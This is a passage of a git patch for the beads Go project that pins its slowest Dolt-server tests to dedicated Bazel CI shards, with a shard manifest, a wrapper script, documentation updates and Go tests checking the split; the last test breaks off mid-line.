b/tools/nogo/internal/position/BUILD.bazel @@ -11,12 +11,51 @@ go_library( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -25,7 +64,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- From 5a5b7cfd66b86c176ec311a330363a9fb0bcbabb Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 05:50:09 +0000 Subject: [PATCH 070/213] ci(bazel): pin the slowest cmd/bd Dolt-server tests to their own shards (#7413) * ci(bazel): pin the slowest cmd/bd Dolt-server tests to their own shards The cmd-dolt lane's wall time when its tests re-run is the bd_test race compile plus its slowest shard. rules_go shards round-robin by test index, so whichever shard drew TestSharedServerConcurrent and the TestInit* family ran 117-170s while the median shard ran ~55s. tools/bazel/go_test_pinned_shard.sh runs a go_test binary with the tests a committed manifest pins (measured >= 5s, bin-packed longest-first by tools/bazel/pin_shards.py) in shards of their own, and every other test in the binary's own round-robin shards with the pinned set skipped, so each test still runs exactly once and new tests need no manifest edit. bd_dolt_server_test goes from 16 to 32 shards (16 pinned + 16 round-robin), regression_test from 8 to 16 (10 + 6; its go_test becomes the manual regression_suite binary behind an sh_test of the old name). Pinning exposed a pre-existing order dependence: TestCLI_Import failed whenever it was the binary's first test, because runBDInProcess reused the workspace discovery an earlier in-process execution cached and `bd init` in a fresh directory resolved the previous one's .beads. The in-process runners now reset beads/git discovery caches per execution. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): pin cmd/bd Dolt-server shards from two measured runs; regression in 14 shards The bd manifest now takes each test's slowest of the 16- and 32-shard runs (pin_shards.py over both), and regression_test drops to 10 pinned + 4 round-robin shards: its unpinned tests total ~128s, so 6 round-robin shards were mostly fixed cost. Co-Authored-By: Claude Opus 5.5 (1M context) * test(scripts): place the pinned-shard tests by what they read (#7414 split) The manifest-name scan reads every cmd/bd and tests/regression _test.go file, so it moves to go_test_sources_test (with tests/regression's manifest); the wrapper, generator and wiring checks stay in scripts_test. Shared helpers live in a helpers-only file both targets compile, and repoFiles takes #7414's minimum-file count. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 13 +- cmd/bd/BUILD.bazel | 24 ++- cmd/bd/cli_fast_test.go | 15 ++ cmd/bd/dolt_server_pinned_shards.txt | 103 ++++++++++ engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 2 +- engdocs/CI_TEST_SURFACE_AUDIT.md | 2 +- engdocs/TESTING.md | 11 +- scripts/BUILD.bazel | 5 + scripts/ci_workflow_test.go | 26 ++- scripts/pinned_shards_helpers_test.go | 65 ++++++ scripts/pinned_shards_sources_test.go | 48 +++++ scripts/pinned_shards_test.go | 268 +++++++++++++++++++++++++ scripts/pr_risk_bazel_coverage_test.go | 13 +- tests/regression/BUILD.bazel | 43 +++- tests/regression/pinned_shards.txt | 55 +++++ tools/bazel/BUILD.bazel | 8 + tools/bazel/go_test_pinned_shard.sh | 90 +++++++++ tools/bazel/pin_shards.py | 117 +++++++++++ 18 files changed, 867 insertions(+), 41 deletions(-) create mode 100644 cmd/bd/dolt_server_pinned_shards.txt create mode 100644 scripts/pinned_shards_helpers_test.go create mode 100644 scripts/pinned_shards_sources_test.go create mode 100644 scripts/pinned_shards_test.go create mode 100644 tests/regression/pinned_shards.txt create mode 100755 tools/bazel/go_test_pinned_shard.sh create mode 100755 tools/bazel/pin_shards.py diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 66322c9d5..5ca224450 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -2065,12 +2065,12 @@ jobs: run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" # The cmd/bd Dolt-server tier, as --config=doltserver-cmd: the whole - # integration-tagged cmd/bd suite (//cmd/bd:bd_dolt_server_test, 16 - # shards) against a hermetic dolt sql-server, i.e. the Dolt-gated cmd/bd + # integration-tagged cmd/bd suite (//cmd/bd:bd_dolt_server_test, 32 + # shards, the slowest tests pinned to 16 of them) against a hermetic dolt sql-server, i.e. the Dolt-gated cmd/bd # tests (TestCLI_*, TestInit*, the store-backed suites) that every other # lane and legacy job skips with BEADS_TEST_SKIP=dolt or leaves out of its # manifest; plus the differential regression suite - # (//tests/regression:regression_test, 8 shards: the candidate + # (//tests/regression:regression_test, 14 shards: the candidate # bd_for_tests against the catalog-pinned v0.49.6 release, formerly # regression.yml). --config=doltserver-cmd has exactly # --config=integration's build flags, so it shares bazel-integration's @@ -2120,9 +2120,10 @@ jobs: RBE_FORK_PR: ${{ github.event.pull_request.number }} # Remote: a compile shared with bazel-integration plus the longest - # of 16 shards (~3 minutes measured; each shard pays ~30-40 s of - # TestMain and its own dolt sql-server; Go's -test.timeout=19m, - # Bazel's 1200s cap). Mode cache on a 4-CPU runner: the compile hits + # of 32 shards (~1 minute: tools/bazel/go_test_pinned_shard.sh pins + # the slowest tests to shards of their own; each shard pays a few + # seconds of TestMain and its own dolt sql-server; Go's + # -test.timeout=19m, Bazel's 1200s cap). Mode cache on a 4-CPU runner: the compile hits # the read-only cache, and a PR that changes cmd/bd or what it imports # runs every shard locally, four at a time (~2,200 test-seconds # measured unloaded, slower four-up: ~20-30 minutes); with the cache diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index f220e60a9..a38bc8bd7 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1563,10 +1563,16 @@ sh_test( # instead of skipping every Dolt-gated test into a cached pass. These are # the cmd/bd tests no other lane runs: every other configuration of bd_test # passes BEADS_TEST_SKIP=dolt (prcore/ci, integration) or runs only its -# manifest (bd_embedded_test, bd_proxied_test). No -test.run/-test.skip: the Go binary shards -# itself over every top-level test (rules_go's TEST_SHARD_INDEX), so each -# runs in exactly one shard, and check_testcases.py fails a shard that ran -# none. It repeats bd_test's `env` (the wrapper cannot inherit it). +# manifest (bd_embedded_test, bd_proxied_test). Shards 1-16 each run the +# slowest tests dolt_server_pinned_shards.txt pins to them (duration-balanced +# by tools/bazel/pin_shards.py); shards 17-32 are the Go binary's own +# round-robin shards (rules_go's TEST_SHARD_INDEX) over every other top-level +# test, a test added since the manifest was written included +# (tools/bazel/go_test_pinned_shard.sh). So each test runs in exactly one +# shard, and check_testcases.py fails a shard that ran none. Round-robin +# alone left the slowest of 16 shards at 2-3x the median (TestSharedServerConcurrent, +# the TestInit* family). It repeats bd_test's `env` (the wrapper cannot +# inherit it). # # Tags: # dolt-server-cmd: the cmd/bd Dolt-server tier; starts hermetic dolt @@ -1580,11 +1586,15 @@ sh_test( # dump) before Bazel's 1200s action limit (eternal under the lane's # --test_timeout), which kills without one. timeout = "eternal", - srcs = ["//tools/bazel:go_test_variant.sh"], - args = ["$(rootpath :bd_test)"], + srcs = ["//tools/bazel:go_test_pinned_shard.sh"], + args = [ + "$(rootpath :dolt_server_pinned_shards.txt)", + "$(rootpath :bd_test)", + ], data = [ ":bd_for_tests", ":bd_test", + ":dolt_server_pinned_shards.txt", ":preflight_go_fixture", "@go_sdk//:bin/gofmt", ], @@ -1607,7 +1617,7 @@ sh_test( # against the one shared server. "GOMAXPROCS": "4", }, - shard_count = 16, + shard_count = 32, tags = ["dolt-server-cmd"], ) diff --git a/cmd/bd/cli_fast_test.go b/cmd/bd/cli_fast_test.go index 47c82ced1..096a64afd 100644 --- a/cmd/bd/cli_fast_test.go +++ b/cmd/bd/cli_fast_test.go @@ -15,6 +15,8 @@ import ( "testing" "time" + "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/testutil/bazeltest" "github.com/steveyegge/beads/internal/testutil/credentialcmd" ) @@ -151,6 +153,17 @@ func createTempDirWithCleanup(t *testing.T) string { // TestMain having installed it). func restoreEnvSnapshot(before []string) { restoreProcessEnv(before) } +// resetInProcessDiscovery drops the workspace discovery an earlier in-process +// execution cached (beads' RepoContext, git's repository context), so each +// one resolves its .beads from its own working directory as a bd process +// would. Without it TestCLI_Import, run as the binary's first test, ran +// `bd init` in a fresh directory against the .beads it had just exported +// from ("Found existing Dolt database"). +func resetInProcessDiscovery() { + beads.ResetCaches() + git.ResetCaches() +} + // runBDInProcess runs bd commands in-process by calling rootCmd.Execute // This is ~10-20x faster than exec.Command because it avoids process spawn overhead func runBDInProcess(t *testing.T, dir string, args ...string) string { @@ -171,6 +184,7 @@ func runBDInProcess(t *testing.T, dir string, args ...string) string { if err := os.Chdir(dir); err != nil { t.Fatalf("Failed to chdir to %s: %v", dir, err) } + resetInProcessDiscovery() // Capture stdout/stderr rOut, wOut, _ := os.Pipe() @@ -1235,6 +1249,7 @@ func runBDInProcessAllowError(t *testing.T, dir string, args ...string) (string, if err := os.Chdir(dir); err != nil { t.Fatalf("Failed to chdir to %s: %v", dir, err) } + resetInProcessDiscovery() rOut, wOut, _ := os.Pipe() rErr, wErr, _ := os.Pipe() diff --git a/cmd/bd/dolt_server_pinned_shards.txt b/cmd/bd/dolt_server_pinned_shards.txt new file mode 100644 index 000000000..d7ab46c5b --- /dev/null +++ b/cmd/bd/dolt_server_pinned_shards.txt @@ -0,0 +1,103 @@ +# Pinned shards for tools/bazel/go_test_pinned_shard.sh. Generated by +# tools/bazel/pin_shards.py; regenerate rather than edit (see its usage). +# +# Every top-level test measured at >= 5s, bin-packed +# longest-first onto these shards; every other test runs in the +# binary's own round-robin shards. Measured seconds per pinned shard: +# 59 60 59 62 59 59 58 57 57 57 62 62 57 57 57 62 +# Unpinned tests: 3322, 570s in total. +# +# +1 TestCLI_NoteAddMisplacedSyntax +1 TestSharedServerConcurrent +2 TestAcquireInitMutationGateWaitsPastGenericBudget +2 TestCLI_ReparentDottedIDExcludesOldParent +2 TestContributorRoutingDaemon +2 TestMultiIDUpdatePartialFailureJSONReportsFailedIDs +2 TestRoutingWithAllOperationalModes +3 TestADORoundTripLossyPriority +3 TestCLI_UpdateEphemeral +3 TestDetermineAutoRoutedRepoPath_DefaultFallback +3 TestDirectTrackerConformance +3 TestGetNotionConfigReadsDBPathWhenStoreUnset +4 TestBareParentWorktreeCoreCommandsWithoutRedirect +4 TestCLI_Blocked +4 TestDoltAutoCommit_Batch_DefersCommit +4 TestE2E_DoctorFixMetadataRoundtrip +4 TestE2E_MigrateDoltMetadata +4 TestInitDatabaseFlag +5 TestADORoundTripLabels +5 TestBackwardCompatContributorConfig +5 TestContributorRoutingSyncBranch +5 TestEmbeddedChangeDirOverridesInheritedBeadsDir +5 TestImportBlockedDuringMigrationFreeze +5 TestResolveCloseTargets +6 TestADORoundTripBlockedStatus +6 TestCLI_CommentsAddReservedWordRejectedThroughCobraDispatch +6 TestCLI_UpdateEphemeralMutualExclusion +6 TestDepRoutedTargetOpensReadOnly +6 TestE2E_AutoStartedRepoLocalServerPersistsAcrossCommands +6 TestInitCommand +7 TestAutoExportSkipsWhenExistingJSONLHasIDsMissingFromStore +7 TestCLI_CreateRejectsFlagLikeTitles +7 TestContributorRoutingTracer +7 TestGlobalDBIdentityCheck +7 TestMultiIDUpdateAllGoodPathUnchanged +7 TestSharedServerDeleteIfRevisionSingleWinner +8 TestCLI_Import_GlobalModeIgnoresProjectConfigYAMLPrefix +8 TestCLI_Update +8 TestCreateDepsAtomicity +8 TestDoctorPathArgMaintenanceSkippedByTargetFreeze +8 TestOpenRoutedReadStore_ContributorRouting +8 TestPrimeBinaryPortfolio +9 TestCLI_CommentAbbreviatedIDRejectedWithTruthfulMessage +9 TestContributorRoutingDirect +9 TestDoltRemoteAddPersistsSyncRemoteToSharedWorktreeConfig +9 TestInitNonInteractiveAlwaysSetsRole +9 TestServeAnswersFromARegisteredBackendStore +9 TestSharedServerVersionBumpDoesNotPromoteCursor +10 TestAutoMigrateSkippedDuringMigrationFreeze +10 TestCLI_Import +10 TestCLI_NoteListMisplacedSyntax +10 TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget +10 TestResolveAndGetIssueForMutationExactSurfacesRoutedAbbreviationRefusal +10 TestSharedServerIfRevisionSingleWinner +11 TestBEADS_DIRPrecedence +11 TestDoctorCheckHealthReportsVersionMismatchOnRepoLocalPort +11 TestDoctorPathArgBlockedByTargetFreeze +11 TestInitBackendFlag +11 TestInitContributorSetsBeadsRoleContributor +11 TestInit_WithBEADS_DIR_DoltBackend +11 TestTemplateSuite +12 TestCLI_Labels +12 TestCLI_NoteCommand +12 TestCLI_Show_SupersedesIsNotABlocker +12 TestCheckBeadGateCrossRigPrefixRoute +12 TestInitIfMissing +12 TestInitMetricsEmittedPerDoltMode +12 TestReadonlyShowPreservesLastTouched +13 TestCLI_DepRemove +13 TestCLI_UpdateAppendNotes +13 TestDepListCrossRigRouting +13 TestExplicitRepoOverride +13 TestInitIfMissingMatchingPrefixSkips +13 TestMultiIDUpdatePartialFailureExitsNonzero +14 TestCLI_CommentsAddShortID +14 TestCLI_DepTree +14 TestContributorPlanningGitIgnoresInheritedRouting +14 TestContributorRoutingLocalOnly +14 TestMaintainerRoutingUnaffected +14 TestWhereCommand_ReadsPrefixFromEmbeddedStore +15 TestADORoundTripCoreFields +15 TestBdMolPour_NeedsAndWaitsForSameTarget_SpawnerOpenBlocksWaiter +15 TestCLI_CreateDryRun +15 TestCLI_PriorityFormats +15 TestInitBEADS_DIR +15 TestInitPromptNonGitRepo +16 TestBdMolBond_ResolvesPlainFormulaName +16 TestCLI_UpdateLabels +16 TestCLI_UpdatePersistent +16 TestContributorRoutingNoDb +16 TestInitDoltMetadata +16 TestInitMetricsEnvConfigPrecedence +16 TestInitPromptExistingRole diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 09ebaa67f..a9f34e510 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1274,7 +1274,7 @@ lane runs `//internal/storage/dolt:dolt_server_full_test` (16 shards) and ### Regression Tests `regression.yml` is retired. The suite runs as -`//tests/regression:regression_test` (8 shards) in `bazel.yml`'s +`//tests/regression:regression_test` (14 shards) in `bazel.yml`'s `bazel-cmd-dolt` lane, which `pr.yml`'s `CI Gate / Required` requires (`BAZEL_CMD_DOLT_REQUIRED`), so regression is now part of the aggregate gate on PRs and merge groups instead of a separate, path-detected advisory diff --git a/engdocs/CI_TEST_SURFACE_AUDIT.md b/engdocs/CI_TEST_SURFACE_AUDIT.md index 202b0dd33..1f32213fd 100644 --- a/engdocs/CI_TEST_SURFACE_AUDIT.md +++ b/engdocs/CI_TEST_SURFACE_AUDIT.md @@ -199,7 +199,7 @@ Key jobs preserved by display name: | Workflow | Triggers | Main validation | |---|---|---| -| `bazel.yml` `bazel-cmd-dolt` (formerly `regression.yml`) | PR, merge group, push to `main` | `//tests/regression:regression_test` (8 shards, cached until its inputs change) against the catalog-pinned v0.49.6 baseline; local entrypoint stays `make test-regression`. | +| `bazel.yml` `bazel-cmd-dolt` (formerly `regression.yml`) | PR, merge group, push to `main` | `//tests/regression:regression_test` (14 shards, cached until its inputs change) against the catalog-pinned v0.49.6 baseline; local entrypoint stays `make test-regression`. | | `bazel.yml` `bazel-test` (formerly `cross-version-smoke.yml`) | PR, merge group, push to `main` | `//tests/upgrade_smoke:upgrade_smoke__test` for the newest 30 catalog-pinned releases, via `scripts/upgrade-smoke-test.sh` with `PREV_BIN`; cached until their inputs change. | | `bazel.yml` `bazel-test` (formerly `migration-test.yml`) | PR, merge group, push to `main` | `//tests/migration:historical_upgrade__test`, one target per reviewed release (14, v0.9.1 source-built offline) plus `legacy_bridge_test`, against catalog-pinned release binaries; cached until their inputs change. Local entrypoint stays `scripts/migration-test/run.sh`. | | `nightly.yml` | Daily schedule, manual | `go test -v -race -tags=integration,gms_pure_go -coverprofile=coverage.out -timeout=30m ./...` with `BEADS_TEST_SKIP=dolt`; checks coverage >= 30%. | diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 9adaed89f..41efd4955 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -40,7 +40,7 @@ Each lane, as bazel.yml runs it (add your `--config=fork-cache` or | Release cross-compile (`bazel-release-cross`) | `./scripts/ci/bazel-release-cross-compile.sh` | Every `go_library`/`go_binary` for each row of `scripts/ci/release-targets.txt`, cgo off, with nogo. | | Integration (`bazel-integration`) | `bazel test //... --config=integration` | The `integration`-tagged build. Runs with the read-only cache too. | | Dolt server (`bazel-doltserver`) | `bazel test //... --config=doltserver` | Starts its own `dolt sql-server` from the pinned binary; no docker. | -| cmd/bd Dolt server (`bazel-cmd-dolt`) | `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd` | 16 shards of the integration-tagged cmd/bd suite. | +| cmd/bd Dolt server (`bazel-cmd-dolt`) | `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd` | 32 shards of the integration-tagged cmd/bd suite (the slowest tests pinned to 16 of them). | | Embedded Dolt (`bazel-embedded`) | `bazel test //... --config=embedded` | Remote execution only in CI; locally it is slow. | | Proxied server (`bazel-proxied`) | `bazel test //... --config=doltserver-proxied` | Remote execution only: 30 shards, each with a Dolt server. | | Server-Dolt storage (`bazel-server-storage`) | `bazel test //... --config=doltserver-integration` | Remote execution only. | @@ -193,8 +193,13 @@ advisory `bazel-cmd-dolt` job) runs the whole integration-tagged cmd/bd suite on the `local` backend: the Dolt-gated cmd/bd tests (`TestCLI_*`, the init and store-backed suites) that every other lane skips with `BEADS_TEST_SKIP=dolt` or leaves out of its manifest. It shares -`--config=integration`'s build, passes the binary no test selection (the Go -binary shards itself over every top-level test, 16 shards), and runs where +`--config=integration`'s build and runs it in 32 shards: 16 run the slowest +tests `cmd/bd/dolt_server_pinned_shards.txt` pins to them, and 16 are the Go +binary's own round-robin shards over every other top-level test +(`tools/bazel/go_test_pinned_shard.sh`; `//tests/regression:regression_test` +splits the same way). After a change that moves test durations, regenerate the +manifest from a run of the lane with `tools/bazel/pin_shards.py` (see its +usage); a stale manifest only costs balance, never coverage. It runs where the integration lane runs (remote, or with the read-only cache). pr.yml's gate requires it once `BAZEL_CMD_DOLT_REQUIRED` is `"true"`; pr.yml then also passes bazel.yml `cmd-dolt-required: true`, and the PR's diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 92a065548..ef89f2709 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -53,6 +53,8 @@ go_test( "makefile_bazel_primary_test.go", "migration_corpus_bazel_test.go", "nogo_lint_policy_test.go", + "pinned_shards_helpers_test.go", + "pinned_shards_test.go", "pr_lanes_bazel_coverage_test.go", "pr_risk_bazel_coverage_test.go", "rbe_worker_env_test.go", @@ -131,6 +133,8 @@ go_test( "embedded_shard_count_test.go", "host_tools_test.go", "managed_local_lane_test.go", + "pinned_shards_helpers_test.go", + "pinned_shards_sources_test.go", "repo_helpers_test.go", "scripts_targets_test.go", "shard_manifest_test.go", @@ -157,6 +161,7 @@ go_test( "//cmd/bd:repo_other_files", "//internal/storage/dolt:repo_other_files", "//internal/storage/embeddeddolt:repo_other_files", + "//tests/regression:repo_other_files", "//tools/bazel:check_shard_coverage.py", "//tools/bazel:equivalence_allowlist.txt", ], diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index eb75ab320..174e8255e 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -5801,9 +5801,11 @@ func btoi(b bool) int { // whole integration-tagged cmd/bd suite against a hermetic dolt sql-server, // because every other lane, Bazel or go test, runs cmd/bd with // BEADS_TEST_SKIP=dolt or only a manifest's tests, so its Dolt-gated tests -// ran nowhere. Coverage is exact by construction: the target passes the -// binary no test selection, the Go binary shards itself over every -// top-level test, and check_testcases.py fails a shard that ran none. +// ran nowhere. Coverage is exact by construction: the target's only test +// selection is go_test_pinned_shard.sh's, whose round-robin shards skip +// exactly the tests its pinned shards run (TestPinnedShardWrapperSplit, +// TestPinnedShardManifests), and check_testcases.py fails a shard that ran +// none. func TestBazelCmdDoltJob(t *testing.T) { const config, target = "doltserver-cmd", "bd_dolt_server_test" workflow := readCIWorkflow(t, bazelWorkflowName) @@ -5881,8 +5883,8 @@ func TestBazelCmdDoltJob(t *testing.T) { t.Error(err) } for _, want := range []string{ - `srcs = ["//tools/bazel:go_test_variant.sh"]`, - `args = ["$(rootpath :bd_test)"]`, + `srcs = ["//tools/bazel:go_test_pinned_shard.sh"]`, + "args = [\n \"$(rootpath :dolt_server_pinned_shards.txt)\",\n \"$(rootpath :bd_test)\",\n ]", `tags = ["dolt-server-cmd"]`, `"GOMAXPROCS": "4"`, `"BEADS_TEST_GIT_IDENTITY": "1"`, @@ -5891,12 +5893,14 @@ func TestBazelCmdDoltJob(t *testing.T) { t.Errorf("%s lacks %s", target, want) } } - // 16 shards: each pays ~30-40 s of fixed cost (TestMain, its own dolt - // sql-server), so more shards mostly add farm actions; with the suite's - // long pole gone the slowest of 16 stays within bazel-integration's - // critical path. Change it together with bazel.yml's comment. - if m := regexp.MustCompile(`shard_count = (\d+)`).FindStringSubmatch(rule); m == nil || m[1] != "16" { - t.Errorf("%s shard_count = %v, want 16", target, m) + // 32 shards: 16 that run the slowest tests the manifest pins to them + // and 16 round-robin shards over the rest. Measured, a shard's fixed + // cost (TestMain, its own dolt sql-server) is a few seconds; the wall + // time is the serial sum of its tests, which round-robin alone left at + // 2-3x the median on the shard that drew the long tests. Change it + // together with bazel.yml's comment. + if m := regexp.MustCompile(`shard_count = (\d+)`).FindStringSubmatch(rule); m == nil || m[1] != "32" { + t.Errorf("%s shard_count = %v, want 32", target, m) } envKey := regexp.MustCompile(`"(BEADS_TEST_[A-Z_]+)": "\$\(rlocationpath [^)]+\)"`) for _, m := range envKey.FindAllStringSubmatch(bdTest, -1) { diff --git a/scripts/pinned_shards_helpers_test.go b/scripts/pinned_shards_helpers_test.go new file mode 100644 index 000000000..862fcd0b4 --- /dev/null +++ b/scripts/pinned_shards_helpers_test.go @@ -0,0 +1,65 @@ +package scripts_test + +// Helpers for the pinned-shard tests, shared by scripts_test +// (pinned_shards_test.go) and go_test_sources_test +// (pinned_shards_sources_test.go). + +import ( + "regexp" + "strconv" + "strings" + "testing" +) + +// pinnedShardWrapper is the sh_test src that pins slow tests to shards. +const pinnedShardWrapper = "tools/bazel/go_test_pinned_shard.sh" + +// pinnedShardTargets are the sh_tests that run a go_test binary through +// tools/bazel/go_test_pinned_shard.sh: the BUILD file, the rule, its +// manifest, and the directory holding the go_test's sources. +var pinnedShardTargets = []struct { + build, rule, manifest, pkg string +}{ + {"cmd/bd/BUILD.bazel", "bd_dolt_server_test", "cmd/bd/dolt_server_pinned_shards.txt", "cmd/bd"}, + {"tests/regression/BUILD.bazel", "regression_test", "tests/regression/pinned_shards.txt", "tests/regression"}, +} + +var pinnedLineRe = regexp.MustCompile(`^([1-9][0-9]*) (Test[A-Za-z0-9_]*)$`) + +// readPinnedShardManifest parses a pinned-shard manifest the way +// go_test_pinned_shard.sh does, reporting malformed lines, duplicate names +// and empty shards, and returns the pinned names and the pinned shard count. +func readPinnedShardManifest(t *testing.T, root, manifest string) (map[string]int, int) { + t.Helper() + pinned := map[string]int{} + shards := map[int]int{} + maxShard := 0 + for i, line := range strings.Split(readPolicyFile(t, root, manifest), "\n") { + line, _, _ = strings.Cut(line, "#") + line = strings.TrimSpace(line) + if line == "" { + continue + } + m := pinnedLineRe.FindStringSubmatch(line) + if m == nil { + t.Errorf("%s:%d: %q is not \" \"", manifest, i+1, line) + continue + } + shard, _ := strconv.Atoi(m[1]) + if _, dup := pinned[m[2]]; dup { + t.Errorf("%s: %s pinned twice", manifest, m[2]) + } + pinned[m[2]] = shard + shards[shard]++ + maxShard = max(maxShard, shard) + } + for s := 1; s <= maxShard; s++ { + if shards[s] == 0 { + t.Errorf("%s: pinned shard %d is empty", manifest, s) + } + } + if maxShard == 0 { + t.Errorf("%s pins nothing", manifest) + } + return pinned, maxShard +} diff --git a/scripts/pinned_shards_sources_test.go b/scripts/pinned_shards_sources_test.go new file mode 100644 index 000000000..fea3b49e0 --- /dev/null +++ b/scripts/pinned_shards_sources_test.go @@ -0,0 +1,48 @@ +package scripts_test + +import ( + "os" + "path/filepath" + "regexp" + "sort" + "testing" +) + +var goTopLevelTestRe = regexp.MustCompile(`(?m)^func (Test[A-Za-z0-9_]*)\(t \*testing\.T\) \{`) + +// Every name a pinned-shard manifest pins is a top-level test of the +// target's package: a stale name runs nowhere, and a renamed test silently +// falls back to the round-robin shards (regenerate with +// tools/bazel/pin_shards.py). +func TestPinnedShardManifestNamesAreTests(t *testing.T) { + root := sourceRepoRoot(t) + for _, tgt := range pinnedShardTargets { + t.Run(tgt.rule, func(t *testing.T) { + tests := map[string]bool{} + srcs, err := filepath.Glob(filepath.Join(root, tgt.pkg, "*_test.go")) + if err != nil || len(srcs) == 0 { + t.Fatalf("no *_test.go in %s: %v", tgt.pkg, err) + } + for _, src := range srcs { + b, err := os.ReadFile(src) + if err != nil { + t.Fatal(err) + } + for _, m := range goTopLevelTestRe.FindAllStringSubmatch(string(b), -1) { + tests[m[1]] = true + } + } + pinned, _ := readPinnedShardManifest(t, root, tgt.manifest) + var stale []string + for name := range pinned { + if !tests[name] { + stale = append(stale, name) + } + } + sort.Strings(stale) + for _, name := range stale { + t.Errorf("%s pins %s, which is not a top-level test in %s/*_test.go; regenerate it (tools/bazel/pin_shards.py)", tgt.manifest, name, tgt.pkg) + } + }) + } +} diff --git a/scripts/pinned_shards_test.go b/scripts/pinned_shards_test.go new file mode 100644 index 000000000..ff95e9f3f --- /dev/null +++ b/scripts/pinned_shards_test.go @@ -0,0 +1,268 @@ +package scripts_test + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "testing" +) + +// fakeTestBinary writes a stand-in for a go_test binary that prints its +// arguments and the sharding environment it was started with. +func fakeTestBinary(t *testing.T, dir string) { + t.Helper() + script := `#!/usr/bin/env bash +echo "args=$*" +echo "total=${TEST_TOTAL_SHARDS-unset} index=${TEST_SHARD_INDEX-unset} status=${TEST_SHARD_STATUS_FILE-unset} fromBazel=${GO_TEST_RUN_FROM_BAZEL-unset}" +` + if err := os.WriteFile(filepath.Join(dir, "bin"), []byte(script), 0o755); err != nil { + t.Fatal(err) + } +} + +func runPinnedShard(t *testing.T, dir, manifest string, env ...string) (string, error) { + t.Helper() + wrapper := filepath.Join(sourceRepoRoot(t), "tools", "bazel", "go_test_pinned_shard.sh") + if err := os.WriteFile(filepath.Join(dir, "manifest.txt"), []byte(manifest), 0o644); err != nil { + t.Fatal(err) + } + cmd := exec.Command(requireHostTool(t, "bash"), wrapper, "manifest.txt", "bin", "-test.parallel=4") + cmd.Dir = dir + cmd.Env = append([]string{"PATH=" + os.Getenv("PATH")}, env...) + out, err := cmd.CombinedOutput() + return string(out), err +} + +// The wrapper's split: pinned shards run exactly their tests with the +// binary's own sharding off; the rest are the binary's round-robin shards +// minus every pinned test; unsharded runs everything. Every test runs in +// exactly one shard because the skip set is the union of the run sets. +func TestPinnedShardWrapperSplit(t *testing.T) { + const manifest = `# comment +1 TestSlow # trailing comment +2 TestB +2 TestA + +` + status := filepath.Join(t.TempDir(), "status") + cases := []struct { + name string + env []string + want []string + }{ + {"unsharded", nil, []string{ + "args=-test.parallel=4\n", + "total=unset index=unset status=unset fromBazel=1\n", + }}, + {"pinned shard 1", []string{"TEST_TOTAL_SHARDS=5", "TEST_SHARD_INDEX=0", "TEST_SHARD_STATUS_FILE=" + status}, []string{ + "args=-test.run=^(TestSlow)$ -test.parallel=4\n", + "total=unset index=unset status=unset fromBazel=1\n", + }}, + {"pinned shard 2", []string{"TEST_TOTAL_SHARDS=5", "TEST_SHARD_INDEX=1", "TEST_SHARD_STATUS_FILE=" + status}, []string{ + "args=-test.run=^(TestB|TestA)$ -test.parallel=4\n", + "total=unset index=unset", + }}, + {"first round-robin shard", []string{"TEST_TOTAL_SHARDS=5", "TEST_SHARD_INDEX=2", "TEST_SHARD_STATUS_FILE=" + status}, []string{ + "args=-test.skip=^(TestSlow|TestB|TestA)$ -test.parallel=4\n", + "total=3 index=0 status=" + status + " fromBazel=1\n", + }}, + {"last round-robin shard", []string{"TEST_TOTAL_SHARDS=5", "TEST_SHARD_INDEX=4", "TEST_SHARD_STATUS_FILE=" + status}, []string{ + "args=-test.skip=^(TestSlow|TestB|TestA)$ -test.parallel=4\n", + "total=3 index=2 ", + }}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + fakeTestBinary(t, dir) + _ = os.Remove(status) + out, err := runPinnedShard(t, dir, manifest, tc.env...) + if err != nil { + t.Fatalf("wrapper failed: %v\n%s", err, out) + } + for _, w := range tc.want { + if !strings.Contains(out, 